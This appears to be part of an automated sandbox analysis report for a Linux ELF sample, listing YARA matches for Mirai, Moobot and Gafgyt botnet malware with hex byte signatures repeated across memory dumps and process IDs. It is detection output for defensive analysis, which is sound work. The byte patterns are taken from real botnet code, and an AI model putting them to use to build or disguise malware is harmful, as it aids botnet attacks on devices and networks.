7445.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6869.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6869.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6869.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6869.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6869.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6869.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7060.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7060.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7060.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7060.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7060.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7060.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
Process Memory Space: log21.x86_64.elf PID: 6217	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6217	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6217	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe9a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xefe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1002:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1016:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x102a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6224	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6224	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x173f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1753:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1767:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x177b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x178f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1807:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x181b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x182f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1843:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1857:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1893:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6231	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6231	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6231	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe9a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xefe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1002:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1016:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x102a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6232	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6232	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x170f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1723:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1737:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x174b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x175f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1773:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1787:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x179b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1813:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1827:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x183b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1863:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1877:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x188b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6233	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6233	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6233	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6234	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6234	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6234	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe9a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xefe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 